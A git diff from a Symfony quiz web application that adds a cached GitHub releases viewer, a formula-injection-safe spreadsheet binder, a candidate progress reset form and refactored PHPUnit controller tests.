|
final readonly class GitHubReleasesService
|
||||||
|
{
|
||||||
|
private const string RELEASES_URL = 'https://api.github.com/repos/MarijnDoeve/TijdVoorDeTest/releases';
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private HttpClientInterface $httpClient,
|
||||||
|
private CacheInterface $cache,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @throws InvalidArgumentException
|
||||||
|
*
|
||||||
|
* @return list<array{tagName: string, name: string, publishedAt: ?\DateTimeImmutable, body: string, url: string}>
|
||||||
|
*/
|
||||||
|
public function getReleases(): array
|
||||||
|
{
|
||||||
|
return $this->cache->get('github_releases', $this->fetchReleases(...));
|
||||||
|
}
|
||||||
|
|
||||||
|
/** @return list<array{tagName: string, name: string, publishedAt: ?\DateTimeImmutable, body: string, url: string}> */
|
||||||
|
private function fetchReleases(ItemInterface $item, bool &$save): array
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
$response = $this->httpClient->request('GET', self::RELEASES_URL, [
|
||||||
|
'timeout' => 5,
|
||||||
|
'headers' => [
|
||||||
|
'Accept' => 'application/vnd.github+json',
|
||||||
|
'User-Agent' => 'TijdVoorDeTest',
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
/** @var list<array{tag_name: string, name: ?string, published_at: ?string, body: ?string, html_url: string}> $releases */
|
||||||
|
$releases = $response->toArray();
|
||||||
|
|
||||||
|
usort($releases, static fn (array $a, array $b): int => ($b['published_at'] ?? '') <=> ($a['published_at'] ?? ''));
|
||||||
|
|
||||||
|
$result = array_map(static function (array $release): array {
|
||||||
|
$name = $release['name'] ?? '';
|
||||||
|
|
||||||
|
return [
|
||||||
|
'tagName' => $release['tag_name'],
|
||||||
|
'name' => '' !== $name ? $name : $release['tag_name'],
|
||||||
|
'publishedAt' => $release['published_at'] ? new DateTimeImmutable($release['published_at']) : null,
|
||||||
|
'body' => (string) $release['body'],
|
||||||
|
'url' => $release['html_url'],
|
||||||
|
];
|
||||||
|
}, $releases);
|
||||||
|
} catch (ExceptionInterface|SafeExceptionInterface|\DateMalformedStringException) {
|
||||||
|
$save = false;
|
||||||
|
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
$item->expiresAfter(3600);
|
||||||
|
|
||||||
|
return $result;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,6 +4,7 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Service;
|
namespace Tvdt\Service;
|
||||||
|
|
||||||
|
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||||
use PhpOffice\PhpSpreadsheet\Reader;
|
use PhpOffice\PhpSpreadsheet\Reader;
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
@@ -14,9 +15,15 @@ use Tvdt\Entity\Answer;
|
|||||||
use Tvdt\Entity\Question;
|
use Tvdt\Entity\Question;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Exception\SpreadsheetDataException;
|
use Tvdt\Exception\SpreadsheetDataException;
|
||||||
|
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
||||||
|
|
||||||
class QuizSpreadsheetService
|
class QuizSpreadsheetService
|
||||||
{
|
{
|
||||||
|
public function __construct()
|
||||||
|
{
|
||||||
|
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
||||||
|
}
|
||||||
|
|
||||||
public function generateTemplate(bool $fillExample = true): \Closure
|
public function generateTemplate(bool $fillExample = true): \Closure
|
||||||
{
|
{
|
||||||
$quiz = new Quiz();
|
$quiz = new Quiz();
|
||||||
|
|||||||
@@ -98,6 +98,9 @@
|
|||||||
"tests/bootstrap.php"
|
"tests/bootstrap.php"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
"sensiolabs/typescript-bundle": {
|
||||||
|
"version": "v0.2.2"
|
||||||
|
},
|
||||||
"sentry/sentry-symfony": {
|
"sentry/sentry-symfony": {
|
||||||
"version": "5.8",
|
"version": "5.8",
|
||||||
"recipe": {
|
"recipe": {
|
||||||
|
|||||||
@@ -10,9 +10,9 @@
|
|||||||
aria-label="Toggle navigation">
|
aria-label="Toggle navigation">
|
||||||
<span class="navbar-toggler-icon"></span>
|
<span class="navbar-toggler-icon"></span>
|
||||||
</button>
|
</button>
|
||||||
{% if is_granted('IS_AUTHENTICATED') %}
|
|
||||||
<div class="collapse navbar-collapse" id="navbarSupportedContent">
|
<div class="collapse navbar-collapse" id="navbarSupportedContent">
|
||||||
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
|
<ul class="navbar-nav me-auto mb-2 mb-lg-0">
|
||||||
|
{% if is_granted('IS_AUTHENTICATED') %}
|
||||||
<li class="nav-item">
|
<li class="nav-item">
|
||||||
<a class="nav-link{% if 'tvdt_backoffice_index' == app.current_route() %} active{% endif %}"
|
<a class="nav-link{% if 'tvdt_backoffice_index' == app.current_route() %} active{% endif %}"
|
||||||
href="{{ path('tvdt_backoffice_index') }}">{{ 'Seasons'|trans }}</a>
|
href="{{ path('tvdt_backoffice_index') }}">{{ 'Seasons'|trans }}</a>
|
||||||
@@ -21,8 +21,27 @@
|
|||||||
<a class="nav-link"
|
<a class="nav-link"
|
||||||
href="{{ path('tvdt_backoffice_template') }}">{{ 'Download Template'|trans }}</a>
|
href="{{ path('tvdt_backoffice_template') }}">{{ 'Download Template'|trans }}</a>
|
||||||
</li>
|
</li>
|
||||||
|
{% endif %}
|
||||||
</ul>
|
</ul>
|
||||||
<ul class="navbar-nav mb-auto me-2 me-lg-0">
|
<ul class="navbar-nav mb-auto me-2 me-lg-0">
|
||||||
|
<li class="nav-item" data-controller="bo--modal"
|
||||||
|
data-action="turbo:submit-end->bo--modal#frameSubmitEnd">
|
||||||
|
<button type="button" class="nav-link border-0 bg-transparent"
|
||||||
|
data-action="click->bo--modal#open"
|
||||||
|
data-src="{{ path('tvdt_backoffice_releases') }}"
|
||||||
|
data-modal-title="{{ 'Releases'|trans }}">{{ 'Releases'|trans }}</button>
|
||||||
|
|
||||||
|
<div class="modal fade" tabindex="-1" data-bo--modal-target="modal"
|
||||||
|
data-action="hidden.bs.modal->bo--modal#resetDirty"
|
||||||
|
aria-labelledby="releasesModalLabel" aria-hidden="true">
|
||||||
|
<div class="modal-dialog modal-lg modal-dialog-scrollable">
|
||||||
|
<div class="modal-content">
|
||||||
|
<turbo-frame id="releases-modal-frame" data-bo--modal-target="frame"></turbo-frame>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</li>
|
||||||
|
{% if is_granted('IS_AUTHENTICATED') %}
|
||||||
<li class="nav-item">
|
<li class="nav-item">
|
||||||
<a class="nav-link{% if 'tvdt_backoffice_settings' == app.current_route() %} active{% endif %}"
|
<a class="nav-link{% if 'tvdt_backoffice_settings' == app.current_route() %} active{% endif %}"
|
||||||
href="{{ path('tvdt_backoffice_settings') }}">{{ 'Settings'|trans }}</a>
|
href="{{ path('tvdt_backoffice_settings') }}">{{ 'Settings'|trans }}</a>
|
||||||
@@ -31,8 +50,8 @@
|
|||||||
<a class="nav-link"
|
<a class="nav-link"
|
||||||
href="{{ path('tvdt_login_logout') }}">{{ 'Logout'|trans }}</a>
|
href="{{ path('tvdt_login_logout') }}">{{ 'Logout'|trans }}</a>
|
||||||
</li>
|
</li>
|
||||||
|
{% endif %}
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
{% endif %}
|
|
||||||
</div>
|
</div>
|
||||||
</nav>
|
</nav>
|
||||||
|
|||||||
@@ -37,7 +37,7 @@
|
|||||||
{% endif %}
|
{% endif %}
|
||||||
</td>
|
</td>
|
||||||
<td>
|
<td>
|
||||||
<form action="{{ path('tvdt_backoffice_toggle_candidate', {quiz: quiz.id, candidate: candidate.id}) }}" method="POST">
|
<form action="{{ path('tvdt_backoffice_toggle_candidate', {quiz: quiz.id, candidate: candidate.id}) }}" method="POST" class="d-inline">
|
||||||
<input type="hidden" name="_token" value="{{ csrf_token('toggle_candidate') }}">
|
<input type="hidden" name="_token" value="{{ csrf_token('toggle_candidate') }}">
|
||||||
<button type="submit" class="btn btn-sm btn-outline-secondary">
|
<button type="submit" class="btn btn-sm btn-outline-secondary">
|
||||||
{% if quizCandidate == null or quizCandidate.active %}
|
{% if quizCandidate == null or quizCandidate.active %}
|
||||||
@@ -47,6 +47,12 @@
|
|||||||
{% endif %}
|
{% endif %}
|
||||||
</button>
|
</button>
|
||||||
</form>
|
</form>
|
||||||
|
{% if quizCandidate and quizCandidate.started %}
|
||||||
|
<form action="{{ path('tvdt_backoffice_reset_candidate_progress', {quiz: quiz.id, candidate: candidate.id}) }}" method="POST" class="d-inline" onsubmit="return confirm('{{ 'Are you sure you want to reset progress for this candidate? Their given answers for this quiz will be deleted.'|trans|e('js') }}');">
|
||||||
|
<input type="hidden" name="_token" value="{{ csrf_token('reset_candidate_progress') }}">
|
||||||
|
<button type="submit" class="btn btn-sm btn-outline-danger">{{ 'Reset progress'|trans }}</button>
|
||||||
|
</form>
|
||||||
|
{% endif %}
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
|
|||||||
@@ -0,0 +1,40 @@
|
|||||||
|
<turbo-frame id="releases-modal-frame">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h1 class="modal-title fs-5" id="releasesModalLabel">
|
||||||
|
{{ 'Releases'|trans }}
|
||||||
|
{% if releases[0] is defined %}
|
||||||
|
<span class="text-muted fs-6 ms-2">{{ 'Current version'|trans }}: {{ releases[0].tagName }}</span>
|
||||||
|
{% endif %}
|
||||||
|
</h1>
|
||||||
|
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
{% if releases is empty %}
|
||||||
|
<p class="text-muted mb-0">{{ 'Could not load releases from GitHub.'|trans }}</p>
|
||||||
|
{% else %}
|
||||||
|
<div class="accordion" id="releasesAccordion">
|
||||||
|
{% for release in releases %}
|
||||||
|
<div class="accordion-item">
|
||||||
|
<h2 class="accordion-header">
|
||||||
|
<button class="accordion-button{% if not loop.first %} collapsed{% endif %}" type="button"
|
||||||
|
data-bs-toggle="collapse" data-bs-target="#release-{{ loop.index }}">
|
||||||
|
{{ release.name }}
|
||||||
|
{% if release.publishedAt %}
|
||||||
|
<span class="text-muted ms-2 small">{{ release.publishedAt|date('d-m-Y', 'UTC') }}</span>
|
||||||
|
{% endif %}
|
||||||
|
</button>
|
||||||
|
</h2>
|
||||||
|
<div id="release-{{ loop.index }}"
|
||||||
|
class="accordion-collapse collapse{% if loop.first %} show{% endif %}"
|
||||||
|
data-bs-parent="#releasesAccordion">
|
||||||
|
<div class="accordion-body">
|
||||||
|
<div class="release-notes">{{ release.body|markdown_to_html }}</div>
|
||||||
|
<a href="{{ release.url }}" target="_blank" rel="noopener noreferrer" class="small">{{ 'View on GitHub'|trans }}</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{% endfor %}
|
||||||
|
</div>
|
||||||
|
{% endif %}
|
||||||
|
</div>
|
||||||
|
</turbo-frame>
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
<turbo-frame id="add-candidates-modal-frame">
|
||||||
|
{{ form_start(form, {attr: {novalidate: 'novalidate'}}) }}
|
||||||
|
<div class="modal-body">
|
||||||
|
{{ form_row(form.candidates) }}
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">{{ 'Cancel'|trans }}</button>
|
||||||
|
<button type="submit" class="btn btn-primary">{{ 'Submit'|trans }}</button>
|
||||||
|
</div>
|
||||||
|
{{ form_end(form) }}
|
||||||
|
</turbo-frame>
|
||||||
@@ -1,8 +1,10 @@
|
|||||||
<div class="row">
|
<div class="row" data-controller="bo--modal" data-action="turbo:submit-end->bo--modal#frameSubmitEnd">
|
||||||
<div class="col-md-6 col-12">
|
<div class="col-md-6 col-12">
|
||||||
<div class="mb-3">
|
<div class="mb-3">
|
||||||
<a class="btn btn-sm btn-outline-primary"
|
<button type="button" class="btn btn-sm btn-outline-primary"
|
||||||
href="{{ path('tvdt_backoffice_add_candidates', {seasonCode: season.seasonCode}) }}">{{ 'Add Candidate'|trans }}</a>
|
data-action="click->bo--modal#open"
|
||||||
|
data-src="{{ path('tvdt_backoffice_add_candidates', {seasonCode: season.seasonCode}) }}"
|
||||||
|
data-modal-title="{{ 'Add Candidate'|trans }}">{{ 'Add Candidate'|trans }}</button>
|
||||||
</div>
|
</div>
|
||||||
<ul class="list-group mb-3">
|
<ul class="list-group mb-3">
|
||||||
{% for candidate in season.candidates %}
|
{% for candidate in season.candidates %}
|
||||||
@@ -17,7 +19,9 @@
|
|||||||
title="{{ 'Delete'|trans }}"><i class="bi bi-trash"></i></button>
|
title="{{ 'Delete'|trans }}"><i class="bi bi-trash"></i></button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="modal fade" id="renameCandidate-{{ candidate.id }}" data-bs-backdrop="static"
|
<div class="modal fade" id="renameCandidate-{{ candidate.id }}"
|
||||||
|
data-controller="bo--modal" data-bo--modal-target="modal"
|
||||||
|
data-action="hidden.bs.modal->bo--modal#resetDirty"
|
||||||
tabindex="-1" aria-labelledby="renameCandidate-{{ candidate.id }}Label" aria-hidden="true">
|
tabindex="-1" aria-labelledby="renameCandidate-{{ candidate.id }}Label" aria-hidden="true">
|
||||||
<div class="modal-dialog">
|
<div class="modal-dialog">
|
||||||
<div class="modal-content">
|
<div class="modal-content">
|
||||||
@@ -31,7 +35,8 @@
|
|||||||
<input type="hidden" name="_token" value="{{ csrf_token('rename_candidate') }}">
|
<input type="hidden" name="_token" value="{{ csrf_token('rename_candidate') }}">
|
||||||
<label class="form-label" for="renameCandidateName-{{ candidate.id }}">{{ 'Name'|trans }}</label>
|
<label class="form-label" for="renameCandidateName-{{ candidate.id }}">{{ 'Name'|trans }}</label>
|
||||||
<input type="text" class="form-control" id="renameCandidateName-{{ candidate.id }}"
|
<input type="text" class="form-control" id="renameCandidateName-{{ candidate.id }}"
|
||||||
name="name" value="{{ candidate.name }}" maxlength="16" required autofocus>
|
name="name" value="{{ candidate.name }}" maxlength="16" required autofocus
|
||||||
|
data-action="input->bo--modal#markDirty change->bo--modal#markDirty">
|
||||||
</div>
|
</div>
|
||||||
<div class="modal-footer">
|
<div class="modal-footer">
|
||||||
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">{{ 'Cancel'|trans }}</button>
|
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">{{ 'Cancel'|trans }}</button>
|
||||||
@@ -69,6 +74,23 @@
|
|||||||
{{ 'No candidates'|trans }}
|
{{ 'No candidates'|trans }}
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</ul>
|
</ul>
|
||||||
|
|
||||||
|
<div class="modal fade" tabindex="-1"
|
||||||
|
data-bo--modal-target="modal"
|
||||||
|
data-action="hidden.bs.modal->bo--modal#resetDirty"
|
||||||
|
aria-labelledby="addCandidatesModalLabel" aria-hidden="true">
|
||||||
|
<div class="modal-dialog">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
<h1 class="modal-title fs-5" id="addCandidatesModalLabel">{{ 'Add Candidate'|trans }}</h1>
|
||||||
|
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
|
||||||
|
</div>
|
||||||
|
<turbo-frame id="add-candidates-modal-frame"
|
||||||
|
data-bo--modal-target="frame"
|
||||||
|
data-action="input->bo--modal#markDirty change->bo--modal#markDirty"></turbo-frame>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="col-md-6 col-12">
|
<div class="col-md-6 col-12">
|
||||||
{{ include('backoffice/help/season_candidates.html.twig') }}
|
{{ include('backoffice/help/season_candidates.html.twig') }}
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Tests\Command;
|
namespace Tvdt\Tests\Command;
|
||||||
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use PHPUnit\Framework\Attributes\DataProvider;
|
||||||
use Symfony\Bundle\FrameworkBundle\Console\Application;
|
use Symfony\Bundle\FrameworkBundle\Console\Application;
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
|
use Symfony\Bundle\FrameworkBundle\Test\KernelTestCase;
|
||||||
use Symfony\Component\Console\Command\Command;
|
use Symfony\Component\Console\Command\Command;
|
||||||
@@ -48,21 +49,19 @@ final class ClaimSeasonCommandTest extends KernelTestCase
|
|||||||
$this->assertCount(3, $season->owners);
|
$this->assertCount(3, $season->owners);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testInvalidEmailFails(): void
|
/** @return iterable<string, array{string, string}> */
|
||||||
|
public static function invalidArgumentsProvider(): iterable
|
||||||
{
|
{
|
||||||
$this->commandTester->execute([
|
yield 'unknown email' => ['krtek', 'nonexisting@example.org'];
|
||||||
'season-code' => 'krtek',
|
yield 'unknown season' => ['dhadk', 'test@example.org'];
|
||||||
'email' => 'nonexisting@example.org',
|
|
||||||
]);
|
|
||||||
|
|
||||||
$this->assertSame(Command::FAILURE, $this->commandTester->getStatusCode());
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testInvalidSeasonCodeFails(): void
|
#[DataProvider('invalidArgumentsProvider')]
|
||||||
|
public function testInvalidArgumentFails(string $seasonCode, string $email): void
|
||||||
{
|
{
|
||||||
$this->commandTester->execute([
|
$this->commandTester->execute([
|
||||||
'season-code' => 'dhadk',
|
'season-code' => $seasonCode,
|
||||||
'email' => 'test@example.org',
|
'email' => $email,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
$this->assertSame(Command::FAILURE, $this->commandTester->getStatusCode());
|
$this->assertSame(Command::FAILURE, $this->commandTester->getStatusCode());
|
||||||
|
|||||||
@@ -0,0 +1,102 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Controller;
|
||||||
|
|
||||||
|
use Doctrine\ORM\EntityManagerInterface;
|
||||||
|
use Symfony\Bundle\FrameworkBundle\KernelBrowser;
|
||||||
|
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
||||||
|
use Symfony\Component\DomCrawler\Crawler;
|
||||||
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
|
use Tvdt\Entity\Candidate;
|
||||||
|
use Tvdt\Entity\Quiz;
|
||||||
|
use Tvdt\Entity\Season;
|
||||||
|
use Tvdt\Entity\User;
|
||||||
|
|
||||||
|
abstract class AbstractControllerWebTestCase extends WebTestCase
|
||||||
|
{
|
||||||
|
protected KernelBrowser $client;
|
||||||
|
|
||||||
|
protected EntityManagerInterface $entityManager;
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
$this->client = self::createClient();
|
||||||
|
$this->entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function getUserByEmail(string $email): User
|
||||||
|
{
|
||||||
|
$user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => $email]);
|
||||||
|
$this->assertInstanceOf(User::class, $user);
|
||||||
|
|
||||||
|
return $user;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function loginAs(string $email): void
|
||||||
|
{
|
||||||
|
$this->client->loginUser($this->getUserByEmail($email));
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Quiz names are only unique per season (see Quiz's UniqueConstraint), so this is scoped by season code. */
|
||||||
|
protected function getQuizByName(string $name, string $seasonCode = 'krtek'): Quiz
|
||||||
|
{
|
||||||
|
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => $name, 'season' => $this->getSeasonByCode($seasonCode)]);
|
||||||
|
$this->assertInstanceOf(Quiz::class, $quiz);
|
||||||
|
|
||||||
|
return $quiz;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Candidate names are only unique per season (see Candidate's UniqueConstraint), so this is scoped by season code. */
|
||||||
|
protected function getCandidate(string $name, string $seasonCode = 'krtek'): Candidate
|
||||||
|
{
|
||||||
|
$candidate = $this->entityManager->getRepository(Candidate::class)->findOneBy(['name' => $name, 'season' => $this->getSeasonByCode($seasonCode)]);
|
||||||
|
$this->assertInstanceOf(Candidate::class, $candidate);
|
||||||
|
|
||||||
|
return $candidate;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function getSeasonByCode(string $seasonCode): Season
|
||||||
|
{
|
||||||
|
$season = $this->entityManager->getRepository(Season::class)->findOneBy(['seasonCode' => $seasonCode]);
|
||||||
|
$this->assertInstanceOf(Season::class, $season);
|
||||||
|
|
||||||
|
return $season;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** GETs $url and extracts the CSRF token from a form whose action contains $formActionContains. */
|
||||||
|
protected function getCsrfTokenFromPage(string $url, string $formActionContains, string $tokenFieldName = '_token'): string
|
||||||
|
{
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, $url);
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
|
||||||
|
return $this->getCsrfTokenFromCrawler($crawler, $formActionContains, $tokenFieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Extracts the CSRF token from a form on the page already loaded in the client. */
|
||||||
|
protected function getCsrfTokenFromCurrentPage(string $formActionContains, string $tokenFieldName = '_token'): string
|
||||||
|
{
|
||||||
|
return $this->getCsrfTokenFromCrawler($this->client->getCrawler(), $formActionContains, $tokenFieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** GETs $url and extracts the CSRF token input, regardless of which form it belongs to. */
|
||||||
|
protected function getTokenFromPage(string $url, string $tokenFieldName = '_token'): string
|
||||||
|
{
|
||||||
|
$crawler = $this->client->request(Request::METHOD_GET, $url);
|
||||||
|
self::assertResponseIsSuccessful();
|
||||||
|
|
||||||
|
$input = $crawler->filter(\sprintf('input[name="%s"]', $tokenFieldName));
|
||||||
|
$this->assertGreaterThan(0, $input->count(), \sprintf('No input named "%s" found on the page', $tokenFieldName));
|
||||||
|
|
||||||
|
return (string) $input->first()->attr('value');
|
||||||
|
}
|
||||||
|
|
||||||
|
private function getCsrfTokenFromCrawler(Crawler $crawler, string $formActionContains, string $tokenFieldName): string
|
||||||
|
{
|
||||||
|
$input = $crawler->filter(\sprintf('form[action*="%s"] input[name="%s"]', $formActionContains, $tokenFieldName));
|
||||||
|
$this->assertGreaterThan(0, $input->count(), \sprintf('No form found with action containing "%s"', $formActionContains));
|
||||||
|
|
||||||
|
return (string) $input->first()->attr('value');
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,54 +4,53 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Tests\Controller\Backoffice;
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PHPUnit\Framework\Attributes\CoversClass;
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Tvdt\Controller\Backoffice\BackofficeController;
|
use Tvdt\Controller\Backoffice\BackofficeController;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
use Tvdt\Entity\User;
|
|
||||||
|
|
||||||
#[CoversClass(BackofficeController::class)]
|
#[CoversClass(BackofficeController::class)]
|
||||||
final class BackofficeControllerTest extends WebTestCase
|
final class BackofficeControllerTest extends AbstractControllerWebTestCase
|
||||||
{
|
{
|
||||||
public function testExportQuizFilenameIsSanitized(): void
|
public function testExportQuizFilenameIsSanitized(): void
|
||||||
{
|
{
|
||||||
$client = self::createClient();
|
$user = $this->getUserByEmail('user2@example.org');
|
||||||
$entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
|
|
||||||
$user = $entityManager->getRepository(User::class)->findOneBy(['email' => 'user2@example.org']);
|
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$user->isVerified = true;
|
$user->isVerified = true;
|
||||||
$entityManager->flush();
|
|
||||||
$client->loginUser($user);
|
|
||||||
|
|
||||||
$quiz = $entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1']);
|
$this->entityManager->flush();
|
||||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
$this->client->loginUser($user);
|
||||||
|
|
||||||
$client->request(Request::METHOD_GET, \sprintf('/backoffice/quiz/%s/export', $quiz->id));
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/quiz/%s/export', $quiz->id));
|
||||||
|
|
||||||
self::assertResponseIsSuccessful();
|
self::assertResponseIsSuccessful();
|
||||||
$disposition = (string) $client->getResponse()->headers->get('Content-Disposition');
|
$disposition = (string) $this->client->getResponse()->headers->get('Content-Disposition');
|
||||||
$this->assertStringContainsString('filename=Quiz-1.xlsx', $disposition);
|
$this->assertStringContainsString('filename=Quiz-1.xlsx', $disposition);
|
||||||
$this->assertStringNotContainsString('Quiz 1.xlsx', $disposition);
|
$this->assertStringNotContainsString('Quiz 1.xlsx', $disposition);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function testExportQuizRequiresVerifiedEmail(): void
|
public function testExportQuizRequiresVerifiedEmail(): void
|
||||||
{
|
{
|
||||||
$client = self::createClient();
|
$user = $this->getUserByEmail('user2@example.org');
|
||||||
$entityManager = self::getContainer()->get(EntityManagerInterface::class);
|
|
||||||
|
|
||||||
$user = $entityManager->getRepository(User::class)->findOneBy(['email' => 'user2@example.org']);
|
|
||||||
$this->assertInstanceOf(User::class, $user);
|
|
||||||
$this->assertFalse($user->isVerified);
|
$this->assertFalse($user->isVerified);
|
||||||
$client->loginUser($user);
|
$this->client->loginUser($user);
|
||||||
|
|
||||||
$quiz = $entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1']);
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
|
||||||
|
|
||||||
$client->request(Request::METHOD_GET, \sprintf('/backoffice/quiz/%s/export', $quiz->id));
|
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/quiz/%s/export', $quiz->id));
|
||||||
|
|
||||||
self::assertResponseRedirects(\sprintf('/backoffice/season/%s', $quiz->season->seasonCode));
|
self::assertResponseRedirects(\sprintf('/backoffice/season/%s', $quiz->season->seasonCode));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function testExportQuizIsDeniedForNonOwner(): void
|
||||||
|
{
|
||||||
|
$this->loginAs('test@example.org');
|
||||||
|
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
|
||||||
|
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/quiz/%s/export', $quiz->id));
|
||||||
|
|
||||||
|
self::assertResponseStatusCodeSame(403);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,150 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace Tvdt\Tests\Controller\Backoffice;
|
||||||
|
|
||||||
|
use PHPUnit\Framework\Attributes\CoversClass;
|
||||||
|
use Safe\DateTimeImmutable;
|
||||||
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
|
use Tvdt\Controller\Backoffice\PrepareEliminationController;
|
||||||
|
use Tvdt\Entity\Answer;
|
||||||
|
use Tvdt\Entity\Elimination;
|
||||||
|
use Tvdt\Entity\GivenAnswer;
|
||||||
|
use Tvdt\Entity\Question;
|
||||||
|
use Tvdt\Entity\QuizCandidate;
|
||||||
|
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
|
||||||
|
|
||||||
|
#[CoversClass(PrepareEliminationController::class)]
|
||||||
|
final class PrepareEliminationControllerTest extends AbstractControllerWebTestCase
|
||||||
|
{
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
parent::setUp();
|
||||||
|
|
||||||
|
$this->loginAs('krtek-admin@example.org');
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testIndexCreatesEliminationAndRedirectsToView(): void
|
||||||
|
{
|
||||||
|
$quiz = $this->getQuizByName('Quiz 1');
|
||||||
|
$candidate = $this->getCandidate('Tom');
|
||||||
|
|
||||||
|
$quizCandidate = new QuizCandidate($quiz, $candidate);
|
||||||
|
$quizCandidate->started = new DateTimeImmutable();
|
||||||
|
|
||||||
|
$this->entityManager->persist($quizCandidate);
|
||||||
|
|
||||||
|
$firstQuestion = $quiz->questions->first();
|
||||||
|
$this->assertInstanceOf(Question::class, $firstQuestion);
|
||||||
|
$answer = $firstQuestion->answers->first();
|
||||||
|
$this->assertInstanceOf(Answer::class, $answer);
|
||||||
|
$this->entityManager->persist(new GivenAnswer($candidate, $quiz, $answer));
|
||||||
|
$this->entityManager->flush();
|
||||||
|
|
||||||
|
$token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/result', $quiz->id), '/elimination/prepare');
|
